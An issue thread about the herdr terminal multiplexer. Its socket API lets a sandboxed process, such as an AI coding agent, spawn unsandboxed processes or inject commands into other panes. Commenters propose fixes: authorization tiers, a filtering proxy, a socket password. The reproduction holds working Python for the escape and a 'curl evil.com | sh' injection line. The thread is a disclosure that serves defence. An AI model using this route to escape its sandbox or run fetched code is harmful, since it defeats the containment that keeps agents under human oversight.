Socket API has no caller authorization - sandbox escape via agent.start / pane.send_text

[SierraJC]

Is this a reproducible bug?

• I confirm this is a reproducible bug, not a feature request, idea, question, contribution proposal, or direction check.

Current behavior

Any process with access to herdr.sock gets full RPC access to all API methods. Sandboxed processes need to access the socket just to report agent status via the hook, and this enables a sandbox escape: a sandboxed process (e.g. Claude Code under nono) can spawn unsandboxed processes or inject commands into unsandboxed panes.

Expected behavior

Scope API methods by caller identity using LOCAL_PEERPID (macOS) or SO_PEERCRED (Linux):

• Unrestricted: ping, pane.get, pane.list, pane.read, pane.report_agent, pane.report_agent_session, pane.report_metadata, agent.list, agent.get, workspace.list, workspace.get, events.subscribe, events.wait
• Require pane ownership (caller PID in pane process tree): pane.send_text, pane.send_keys, pane.run, pane.split, pane.close
• Require elevated trust: agent.start, workspace.create, workspace.close, server.stop

Reproduction

From inside any sandbox that has access to herdr.sock (I use nono for sandboxing):

import json, socket

client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client.connect("/Users/you/.config/herdr/herdr.sock")

# Escape 1: spawn an unsandboxed process
client.sendall(json.dumps({
    "id": "1",
    "method": "agent.start",
    "params": {"name": "escape", "argv": ["bash"]}
}).encode() + b"\n")

# Escape 2: inject a command into an existing unsandboxed pane
client.sendall(json.dumps({
    "id": "2",
    "method": "pane.send_text",
    "params": {"pane_id": "p_1", "text": "curl evil.com | sh\n"}
}).encode() + b"\n")

Both succeed. The spawned process and injected commands run outside the sandbox with full user privileges.

Impact

Agents do not appear in the agent status area, making use of herdr pointless.

The herdr integration hook (installed by herdr integration install claude) only needs pane.report_agent_session and pane.report_agent. But granting socket access to a sandboxed agent also exposes destructive methods. This makes it unsafe to grant herdr.sock access from any security sandbox.

Environment

• Herdr version: 0.6.8 (protocol 12)
• Update channel: stable
• Operating system: macOS 14 (Darwin 23.6.0)
• Terminal: WezTerm
• Shell, if relevant: fish
• Relevant config, if any: nono sandbox (Seatbelt) with allow_file grant on herdr.sock

[texasich]

I've implemented the three-tier socket API authorization fix for this issue.

The implementation:

• Extracts peer credentials (PID, UID, GID) from the Unix socket connection using SO_PEERCRED (Linux) / getpeereid (macOS)
• Maps every API method to one of three authorization tiers: Unrestricted, PaneOwnership, or Elevated
• Rejects dangerous methods (agent.start, server.stop, workspace.create/close) from unknown PIDs at the server level
• Passes the caller PID through for future pane-ownership checks on destructive pane methods (send_text, split, close)

All changes are in src/api/peer_identity.rs (new), src/api/mod.rs, and src/api/server.rs. Code compiles and formatting passes.

I'm the user mentioned — @texasich. Could I get a to open the PR?

[ogulcancelik]

i converted this to a discussion beause it's not a bug per se, but i agree that it would be better to improve it. though i need to triage this for now

[giodamelio]

I have been using a tiny Python proxy for a few days now that just allows pane.report_agent_session messages through, which has been working great.

Here is the script for inspiration. If you happen to use NixOS the commit also has the config that I am using to run the proxy as a SystemD socket activated user service to make it all work seamlessly.

[jasalt]

Noted this issue also connecting to agents in containers and had idea to add a simple opt-in password authentication to JSON-RPC messages.

LLM PoC prompt (deepseek-v4-pro / OpenCode):

Add optional password protection to unsafe socket JSON-RPC messaging so that clients may only message agent state changes to the server and not read Herdr state or control it over socket without including the password in JSON-RPC payloads. CLI and agent integration plugins add the env var or password given as command flag into JSON-RPC payload if it is available. Enabled on startup by:

• herdr —socket-password=foo
• HERDR_SOCKET_PASSWORD=foo herdr

Result: jasalt@d8122b2

feat: add optional socket password protection for JSON-RPC API
Add --socket-password CLI flag and HERDR_SOCKET_PASSWORD env var to
optionally protect the unsafe socket JSON-RPC API. When configured,
non-agent-state-change methods require a matching password in the
payload. Agent state reporting (pane.report_agent, etc.) remains
password-free so integration hooks keep working.

When server is started with the flag it responds to unsafe calls without authentication with:

$ target/release/herdr pane list 
{"error":{"code":"unauthorized","message":"invalid or missing socket password"},"id":"cli:pane:list"}